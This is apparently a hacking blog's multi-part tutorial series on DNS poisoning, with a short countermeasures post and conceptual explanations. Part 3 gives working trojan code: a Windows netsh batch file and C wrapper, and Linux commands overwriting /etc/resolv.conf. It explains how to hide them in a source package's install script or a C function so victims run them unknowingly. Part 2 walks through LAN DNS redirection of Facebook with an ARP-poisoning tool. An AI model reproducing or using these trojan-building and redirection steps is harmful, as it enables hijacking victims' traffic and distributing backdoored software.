Countermeasures With DNS Poisoning

Hey awl in diiz tut i will be telling you all the  countermeasures  of all types of DNS Poisoning attacks.

Intranet DNS Poisoning

First of them is Intranet DNS poisoning that is a DNS poisoning attack over LAN. Since Intranet DNS poisoning attack happens due to ARP poisoning man-in-the-middle attack, all countermeasures to packet sniffing applies to LAN DNS poisoning attack i.e use of switched LAN, use of static ARP and IP table, use SSH encryption, use sniffing detection tools and better use tunneled connection which supports IPSec.

Remote DNS Poisoning

Next is remote DNS poisoning, remote DNS poisoning attack becomes successful due to negligence of victim to unknown files, better make yourself aware of Trojans and Trojan vectoring methods. Download and install applications from trusted websites only, do not open suspicious files and archives. No matter you use Linux or Windows check setup files using archiving program to detect presence of DNS poisoning Trojan.

Proxy Server DNS Poisoning

Now comes Proxy Server DNS Poisoning. For being safe with these types of attacks you might know many proxy sites become live and die on daily basis, most of these proxy sites are only designed for proxy DNS spoofing attacks. Better be aware of proxy sites, use only those proxy setting which are trusted. If you want anonymity online prefer TOR or VPN over proxy sites.

DNS Cache Poisoning

DNS cache poisoning attacks can be countered by people who maintain primary and local DNS servers. All DNS servers should be audited regularly to counter flaw in security, since a small vulnerability can lead to breach in security of DNS server thus leading to DNS poisoning attack. DNS should be provided good security since this method of DNS poisoning can not be countered by users who use it as primary DNS. To provide extra layer of security to DNS server the DNS should be installed with bind-chroot package.

Read More

DNS Cache Poisoning- Part 5

Hey awl in diz tut i will be telling you all about DNS Cache Poisoning.

 

What is DNS Cache Poisoning

DNS cache poisoning consists of changing or adding records in the resolver caches, either on the client or the server, so that a DNS query for a domain returns an IP address for an attacker’s domain instead of the intended domain.

Ok so now i will be providing basic and brief idea about DNS Cache Poisoning in step by step process.



Step 1: The resolver checks the resolver cache in the workstation’s memory to see if it contains an entry for Farpoint.companyA.com.

 Step 2: Having found no entry in the resolver cache, the resolver sends a resolution request to the internal DNS server.  

Step 3: When the DNS server receives the request, it first checks to see if it’s authoritative.If it founded then its ok and if not then the next action it takes is to check its local cache to see if an entry for target .com exists. If it does then ok anf if not thenthe  internal DNS server begins the process of iteratively querying external DNS servers until it either resolves the domain name or it reaches a point at which it’s clear that the domain name entry doesn’t exist

. Step 4: A request is sent to one of the Internet root servers. The root server returns the address of a server authoritative for the .COM Internet space.

 Step 5: A request is sent to the authoritative server for .COM. The address of a DNS server authoritative for the target.com domain is returned.

 Step 6: A request is sent to the authoritative server for target.com. This is identical to the standard process for an iterative query – with one exception. A cracker has decided to poison the internal DNS server’s cache. In order to intercept a query and return malicious information, the cracker must know the transaction ID. Once the transaction ID is known, the attacker’s DNS server can respond as the authoritative server for target.com. Although this would be a simple matter with older DNS software (e.g. BIND 4 and earlier), newer DNS systems have build-in safeguards. In our example, the transaction ID used to identify each query instance is randomized. But figuring out the transaction ID is not impossible. All that’s required is time. To slow the response of the real authoritative server, our cracker uses a botnet to initiate a Denial of Service (DoS) attack. While the authoritative server struggles to deal with the attack, the attacker’s DNS server has time to determine the transaction ID. Once the ID is determined, a query response is sent to the internal DNS server. But the IP address for target.com in the response is actually the IP address of the attacker’s site. The response is placed into the server’s cache.

 Step 7: The rogue IP address for Farpoint is returned to the client resolver.

 Step 8: An entry is made in the resolver cache, and a session is initiated with the attacker’s site. At this point, both the workstation’s cache and the internal DNS server’s cache are poisoned. Any workstation on the internal network requesting resolution of target.com will receive the rogue address listed in the internal DNS server’s cache. This continues until the entry is deleted.

Read More

DNS Poisoning(Proxy Server DNS Poisoning)- Part 4

Hey awl in diz tut i will be telling uhh awl abt  Proxy Server DNS Poisoning.

In  this type of DNS poisoning method an attacker sets up a proxy server on his/her system. Then he/she sets up a rouge DNS and keeps its IP address as primary DNS entry in proxy server system. Now he/she has to convince victim to use proxy server set by him/her. Since proxy server has set up a rouge DNS as its primary DNS all requests will pass through it. Since all traffic passes from your system as proxy server you can sniff all traffic between victim and site he/she communicates and also perform DNS poisoning attack.








In diz tut i have  provided the method of doing diz type of attack. But for doing these types pf attcaks you must have knowledge that what u r actually doing n also basics of networking and about servers.

Read More

DNS Posioning(Internet DNS Poisoning)- Part 3

This is our 3rd tutorial o DNS Poisoning. In this tut we will be talking about Internet DNS Poisoning also known as Remote DNS Poisoning. 






In this type of DNS poisoning it can be done over a single or multiple victims  no matter where your victim is in world, the primary DNS entries of his/her system can be poisoned using this method. For this type of DNS poisoning attack you'll have to setup a rouge DNS server somewhere with static IP address and also it hsould be in working condition. Methods of poisoning are different for Windows and Linux systems but happens with help of same entity that is Trojan file.

Here I will be showing  you how to create DNS poisoning Trojans all you have to do is vector them.

For Windows

For poisoning DNS of victim you must know name of his/her interface or name he/she has set for his/her internet connection. This condition is must for you to poison victim's DNS if you don't know their values then use default “Local Area Connection”. Now lets create a DNS spoofing Trojan Batch file.

 Type following lines in notepad and save it with any name.bat.

netsh interface ip set dns “Local Area Connection” static  xxx.xxx.xxx

Above command will set DNS server of victim to  xxx.xxx.xxx.

You can change “Local Area Connection” by name of interface or connection if you know it, else always go with default. Now send that file to victim for poisoning his/her DNS entries.

 If you don't want to send bat file because your victim might suspect it, then you can create an executable file by compiling following C program.

#include<stdio.h>
#include<stdlib.h>

int main()
{
char *str= “netsh interface ip set dns “Local Area Connection” static xxx.xxx.xxx”;
system(str);
return 0 ;

>For Linux and UNIX

Linux and UNIX systems save DNS entries in /etc/resolv.conf folder by changing entries in this file can help you poison DNS in Linux and UNIX systems. Now get IP address of working DNS server and IP address of rouge DNS server set by you. Suppose IP address of rouge DNS is xxx.xxx.xxx and real DNS server is yyy.yyy.yyy. Then type following commands in a text file and save with .sh extension

echo “nameserver xxx.xxx.xxx” > /etc/resolv.conf
echo “nameserver xxx.xxx.xxx” >> /etc/resolv.conf
Now all you have to do is vector this file to victim. For vectoring it get any source code installation package from internet of an interesting software your victim can't deny to install in his/her system. Extract it and find a shell script in it, place anyname.sh in that folder, open target shell script in text editor and before it ends type following commands,

chmod +x change.sh
./change.sh

Pack it again and send to your victim for installation once he/she installs software from your source code he/she will be infected. 

Now sometimes its difficult to find a shell script in package but what is not difficult to find is a C source file. So if you get problem with above method, find a C source file with several functions in it and create following new function in it.

void change12345()
{
char *str;
str= “echo “nameserver xxx.xxx.xxx” > /etc/resolv.conf”;
system(str);
str= “echo “nameserver yyy.yyy.yyy” >> /etc/resolv.conf”;
system(str);
return;
}


Now call this function in any other function before it returns something. Pack files again and send it to your victim, your file will execute every time when your victim will launch that program.
 


Also  note that above exploits codes are really very basic, you can modify them according to your needs and if you think they are difficult to understand please get your hands on programming, even if you can understand basic programming you can write your own exploit codes. This is what  we call the power of programming languages and why it is necessary to be a good programmer for being a good hacker 






 

Read More

DNS Poisoning( Intranet DNS Poisoning ) - Part 2

Hey all :) In diz tut we will be discussing about Intranet Based DNS Posioning.

Intranet DNS Poisoning attack is done over a LAN which has been ARP poisoned.Since I already told you all about ARP Poisoning . For performing this DNS poisoning attack you'll need at least three computers connected in LAN for which a same router, switch or computer should act as gateway and any man-in-the-middle attack tool.

This attack works well for switched network, a hub based network will also work but result will not be as effective as switched network.  




For performing this attack follow me step by step

STEP 1--> First of all download any MITM tool. For this tut i am taking example of  Cain and Cable.
So download and and install it. Also ARP Poison your victim. For that you can prefer my tut on ARP Poisioning.

STEP 2--> Now click on  APR-DNS and add a host name to it.



For  example Suppose I wanna poison entry of www.Facebook.com. For that  specify IP address of 
website you want to redirect traffic, if you want to redirect traffic for www.Facebook.com. to http://www.pwnscar.in/then click on Resolve type http://www.pwnscar.in/ in it and IP address field with the IP address of http://www.pwnscar.in/. So now whenever anyone in LAN will try to browse to facebook will redirect to http://www.pwnscar.in/.

Intranet DNS poisoning is easiest and doesn't require any technical skills because you don't have to setup a DNS server but for all other methods you must know how to setup DNS server.

 
 

Read More

DNS Poisoning( Basics) - Part 1

Hey awl :) today i will be telling you all about basics of DNS poisoning  :)

Okay firstly we move on let us see that what is DNS first of all. I think you all know that internet works on TCP/IP model also you can say internet stack.Also you all know that there is a specific ip to route data between source and destination system.

Each and every computer in the world that is connected in network have an IP address. Although remembering IP addresses are difficult as each  IP address is associated with a name like www.google.com and  is also known as domain name. Domain names are easy to remember but original TCP/IP stack needs IP address for communication not the domain name.

So a service has been created to convert these domain names into their respective IP addresses, this service is known as Domain Name Service (DNS), a computer or system which provides this service is known as Domain Name System. Now you can call it a coincidence that Domain Name Service and Domain Name System both end having same abbreviation DNS and the best part they don't even conflict with each other while using.


DNS runs on DNS Protocol which converts web address into IP address. Through this you will get a idea of what is DNS Poisoning .

DNS pisoning or DNS Spoofing is a technique through which an attacker provides worng IP address to DNS server for misdirecting users to fake websites.

There are exactly four types of DNS Poisoning 

1--> Intranet DNS Spoofing/Poisoning
 
2--> Internet DNS Spoofing/Poisoning 


3--> Proxy Server DNS Spoofing/Poisoning

4-->  DNS Cache Spoofing/Poisoning 


This tut provides you the basics of DNS Poisoning/Spoofing .In next tut i will be telling you all about first type of DNS Poisoning/Spoofing that is Intranet DNS Spoofing/Poisoning
 

Read More